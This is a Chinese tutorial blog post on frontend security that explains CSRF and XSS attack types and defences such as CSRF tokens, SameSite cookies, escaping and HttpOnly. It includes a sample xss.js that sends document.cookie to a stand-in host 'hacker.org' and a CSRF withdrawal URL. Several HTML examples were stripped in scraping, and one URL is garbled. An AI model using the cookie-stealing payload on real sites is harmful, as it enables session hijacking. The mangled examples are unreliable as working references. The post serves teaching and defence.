【前端安全】一、CSRF攻击和XSS攻击

一、CSRF


1.1 概念

CSRF(Cross-site request forgery)跨站请求伪造:攻击者诱导受害者进入第三方网站,在第三方网站中,向被攻击网站发送跨站请求。利用受害者在被攻击网站已经获取的注册凭证,绕过后台的用户验证,达到冒充用户对被攻击的网站执行某项操作的目的

形式:图片URL、超链接、Form提交等,也可以嵌入到第三方论坛、文章中等地方。

危害:攻击者可以盗用用户的身份,以用户的名义进行恶意操作,包括但不限于以用户的名义发送邮件、资金转账、网上等危害用户的操作

一个典型的CSRF攻击有着如下的流程:假定受信的站点A,恶意站点B

  • 用户登录 a.com,并保留了登录凭证(Cookie)
  • 攻击者引诱用户访问了网站b.com提供的图片链接
  • 如果此时站点A的Cookie未过期,那么b.com 向 a.com 发送了一个请求:a.com/act=xx,浏览器会默认携带a.com的Cookie
  • a.com接收到请求后,对请求进行验证,并确认是用户的凭证,误以为是用户自己发送的请求
  • a.com以用户的名义执行了act=xx
  • 攻击完成,攻击者在用户不知情的情况下,冒充用户,让a.com执行了自己定义的操作

 

1.2 CSRF的攻击类型?

1)GET类型的CSRF

GET类型的CSRF利用非常简单,只需要一个HTTP请求,一般会这样利用:

https://awps-assets.meituan.net/mit-x/blog-images-bundle-2018b/ff0cdbee.example/withdraw?amount=10000&for=hacker

在受害者访问含有这个img的页面后,浏览器会自动向http://bank.example/withdraw?account=xiaoming&amount=10000&for=hacker发出一次HTTP请求。bank.example就会收到包含受害者登录信息的一次跨域请求。

2) POST类型的CSRF

这种类型的CSRF利用起来通常使用的是一个自动提交的表单,如:

访问该页面后,表单会自动提交,相当于模拟用户完成了一次POST操作。

POST类型的攻击通常比GET要求更加严格一点,但仍并不复杂。任何个人网站、博客,被黑客上传页面的网站都有可能是发起攻击的来源,后端接口不能将安全寄托在仅允许POST上面。

3)链接类型的CSRF

链接类型的CSRF并不常见,比起其他两种用户打开页面就中招的情况,这种需要用户点击链接才会触发。这种类型通常是在论坛中发布的图片中嵌入恶意链接,或者以广告的形式诱导用户中招,攻击者通常会以比较夸张的词语诱骗用户点击,例如:


  重磅消息!!

由于之前用户登录了信任的网站A,并且保存登录状态,只要用户主动访问上面的这个PHP页面,则表示攻击成功。

上面使用的是通过GET请求冒用用户发起请求,不仅GET请求,POST也没法防止CSRF攻击,下面是一个自动提交表单的CSRF攻击。

用户在打开这个页面后,该表单请求会自动提交,相当于用户自己进行了一次POST请求。

 

1.3 如何预防CSRF?

CSRF通常从第三方网站发起,被攻击的网站无法防止攻击发生,只能通过增强自己网站针对CSRF的防护能力来提升安全性。

CSRF的两个特点:

  • CSRF(通常)发生在第三方域名。
  • CSRF攻击者不能获取到Cookie等信息,只是使用。

针对这两点,我们可以专门制定防护策略,如下:

  • 阻止不明外域的访问
    • 同源检测
    • Samesite Cookie
  • 提交时要求附加本域才能获取的信息
    • CSRF Token
    • 双重Cookie验证

因此我们可以针对性得进行预防

 

1)同源检测

既然CSRF大多来自第三方网站,那么我们就直接禁止外域(或者不受信任的域名)对我们发起请求:

  • 使用Origin Header确定来源域名: 在部分与CSRF有关的请求中,请求的Header中会携带Origin字段,如果Origin存在,那么直接使用Origin中的字段确认来源域名就可以
  • 使用Referer Header确定来源域名: 根据HTTP协议,在HTTP头中有一个字段叫Referer,记录了该HTTP请求的来源地址

2)CSRF Token

CSRF的另一个特征是,攻击者无法直接窃取到用户的信息(Cookie,Header,网站内容等),仅仅是冒用Cookie中的信息。

而CSRF攻击之所以能够成功,是因为服务器误把攻击者发送的请求当成了用户自己的请求。那么我们可以要求所有的用户请求都携带一个CSRF攻击者无法获取到的Token。服务器通过校验请求是否携带正确的Token,来把正常的请求和攻击的请求区分开,也可以防范CSRF的攻击:

CSRF Token的防护策略分为三个步骤:

  • 将CSRF Token输出到页面中
  • 页面提交的请求携带这个Token
  • 服务器验证Token是否正确

3)双重Cookie验证

在会话中存储CSRF Token比较繁琐,而且不能在通用的拦截上统一处理所有的接口

那么另一种防御措施是使用双重提交Cookie。利用CSRF攻击不能获取到用户Cookie的特点,我们可以要求Ajax和表单请求携带一个Cookie中的值

双重Cookie采用以下流程:

  • 在用户访问网站页面时,向请求域名注入一个Cookie,内容为随机字符串(例如csrfcookie=v8g9e4ksfhw)。
  • 在前端向后端发起请求时,取出Cookie,并添加到URL的参数中(接上例POST https://www.a.com/comment?csrfcookie=v8g9e4ksfhw)。
  • 后端接口验证Cookie中的字段与URL参数中的字段是否一致,不一致则拒绝。

4)Samesite Cookie属性

Google起草了一份草案来改进HTTP协议,那就是为Set-Cookie响应头新增Samesite属性,它用来标明这个 Cookie是个“同站 Cookie”,同站Cookie只能作为第一方Cookie,不能作为第三方Cookie,Samesite 有两个属性值:

  • Samesite=Strict: 这种称为严格模式,表明这个 Cookie 在任何情况下都不可能作为第三方 Cookie
  • Samesite=Lax: 这种称为宽松模式,比 Strict 放宽了点限制,假如这个请求是这种请求且同时是个GET请求,则这个Cookie可以作为第三方Cookie

 

CSRF是代替用户完成指定的动作,不直接窃取用户数据,而是代替用户发起请求,但需要知道其他用户页面的代码和数据包。

 

 

二、XSS攻击


2.1 概念 

跨站脚本 (Cross-Site Scripting, XSS): 一种代码注入方式, 为了与 CSS 区分所以被称作 XSS. 早期常见于网络论坛, 起因是网站没有对用户的输入进行严格的限制, 使得攻击者可以将脚本上传到帖子让其他人浏览到有恶意脚本的页面, 其注入方式很简单包括但不限于 JavaScript / VBScript / CSS / Flash 等

危害:由于Cookie已经被攻击者获取,因此攻击可以登录账号,进行相关操作,如更改信息、转账、删除数据等敏感操作。

主要原因:太过于信任用户的输入

 

2.2 XSS分为哪几类?

根据攻击的来源,XSS 攻击可分为存储型、反射型和 DOM 型三种。

  • 存储区:恶意代码存放的位置。
  • 插入点:由谁取得恶意代码,并插入到网页上。

 

1)、存储型 XSS

存储型XSS攻击的攻击代码是存在在网站数据库,当包含该攻击代码的页面被用户打开时,该脚本会自动运行,将打开该网页的所有用户的Cookie发送给攻击者。

存储型 XSS 的攻击步骤:

  1. 攻击者将恶意代码提交到目标网站的数据库中。
  2. 用户打开目标网站时,网站服务端将恶意代码从数据库取出,拼接在 HTML 中返回给浏览器。
  3. 用户浏览器接收到响应后解析执行,混在其中的恶意代码也被执行。
  4. 恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作。

这种攻击常见于带有用户保存数据的网站功能,如论坛发帖、商品评论、用户私信等。

举例子:

假设有一个论坛允许用户留言并且对用户的输入不进行处理,那么攻击者在该网站的某个帖子下面留以下信息。

哈哈哈,有趣有趣

网站将该留言存储到数据库,那么之后每个在访问包含上述留言的用户的Cookie都会被发往攻击者。

 

2)、反射型 XSS

最常见的XSS请求攻击,将XSS攻击代码放在链接上,由用户点击触发使服务器返回XSS攻击代码,并在客户端执行,从而发起Web攻击。                                                              

反射型 XSS 的攻击步骤:

  1. 攻击者构造出特殊的 URL,其中包含恶意代码。
  2. 用户打开带有恶意代码的 URL 时,网站服务端将恶意代码从 URL 中取出,拼接在 HTML 中返回给浏览器。
  3. 用户浏览器接收到响应后解析执行,混在其中的恶意代码也被执行。
  4. 恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作。

反射型 XSS 跟存储型 XSS 的区别是:存储型 XSS 的恶意代码存在数据库里,反射型 XSS 的恶意代码存在 URL 里。

反射型 XSS 漏洞常见于通过 URL 传递参数的功能,如网站搜索、跳转等。

由于需要用户主动打开恶意的 URL 才能生效,攻击者往往会结合多种手段诱导用户点击。

POST 的内容也可以触发反射型 XSS,只不过其触发条件比较苛刻(需要构造表单提交页面,并引导用户点击),所以非常少见。

举例子:

http://example.org?search=hello,world
对于该请求,服务器会将hello,world回显到页面中返回给客户端,客户端会显示hello,world

http://example.org?search=
对于该请求,如果服务器对输入没有进行任何处理,那么对于,那么js代码会嵌入到页面中,客户端再渲染页面的时候回执行该js代码,并弹出alter框。

http://example.org?search=

//xss.js
var img = document.createElement('img');
img.width = 0;
img.height = 0;
img.src = 'http://hacker.org/xss?cookie='+encodeURIComponent(document.cookie);

这样将用户在点击上述连接的时候,浏览器会自动引入xss.js文件,并执行其中js语句,里面的js语句会读取用户Cookie,并将其作为参数访问Get请求的页面,然后Cookie就会发送给攻击者。

 

3)、DOM 型 XSS

这种类型的攻击与反射型有点类似,区别在于用户的输入并不是由服务器来返回,主要是由客户端通过DOM动态的输出数据到页面,从客户端获得DOM的数据在本地执行。

 

DOM 型 XSS 的攻击步骤:

  1. 攻击者构造出特殊的 URL,其中包含恶意代码。
  2. 用户打开带有恶意代码的 URL。
  3. 用户浏览器接收到响应后解析执行,前端 JavaScript 取出 URL 中的恶意代码并执行。
  4. 恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作。

DOM 型 XSS 跟前两种 XSS 的区别:DOM 型 XSS 攻击中,取出和执行恶意代码由浏览器端完成,属于前端 JavaScript 自身的安全漏洞,而其他两种 XSS 都属于服务端的安全漏洞。

举例子:


Welcome!
Hi


Welcome to our system …

该页面中的某些数据是从URL中解析的,比如下面的一个请求http://hacker.org/welcome.html?name=。用户在点击这个请求的时候,本地浏览器回从URL中获取name属性并填充到HTML中,从而引起XSS攻击。

 

2.3 如何预防XSS?

XSS 攻击有两大要素:

  1. 攻击者提交恶意代码。
  2. 浏览器执行恶意代码。

针对第一个要素:我们是否能够在用户输入的过程,过滤掉用户输入的恶意代码呢?

1)、输入过滤

在用户提交时,由前端过滤输入,然后提交到后端。这样做是否可行呢?

答案是不可行。一旦攻击者绕过前端过滤,直接构造请求,就可以提交恶意代码了。

那么,换一个过滤时机:后端在写入数据库前,对输入进行过滤,然后把“安全的”内容,返回给前端。这样是否可行呢?

答案是非完全靠谱,在某些情况下会引入很大的不确定性和乱码问题。在防范 XSS 攻击时应避免此类方法。所以我们就要通过“防止浏览器执行恶意代码”来防范 XSS。

2)、执行过滤

通过“防止浏览器执行恶意代码”来防范 XSS。这部分分为两类:

  • 防止 HTML 中出现注入
  • 防止 JavaScript 执行时,执行恶意代码

 

(1)、预防存储型和反射型 XSS 攻击

存储型和反射型 XSS 都是在服务端取出恶意代码后,插入到响应 HTML 里的,攻击者刻意编写的“数据”被内嵌到“代码”中,被浏览器所执行。

预防这两种漏洞,有两种常见做法:

  • 改成纯前端渲染,把代码和数据分隔开。
  • 对 HTML 做充分转义。

(2)、预防 DOM 型 XSS 攻击

DOM 型 XSS 攻击,实际上就是网站前端 JavaScript 代码本身不够严谨,把不可信的数据当作代码执行了。


![](https://awps-assets.meituan.net/mit-x/blog-images-bundle-2018b/3e724ce0.data:image/png,)

1

如果项目中有用到这些的话,一定要避免在字符串中拼接不可信数据

 

总结:主要解决方案:不信任用户输入的所有数据

  1. 设置Cookie的属性为Http only,这样js就无法获取Cookie值;
  2. 严格检查表单提交的类型,并且后端服务一定要做,不能信任前段的数据;
  3. 对用户提交的数据就行Html encode处理,将其转化为HTML实体字符的普通文本;
  4. 过滤或移除特殊的HTML标签,如

你可能感兴趣的:(前端安全)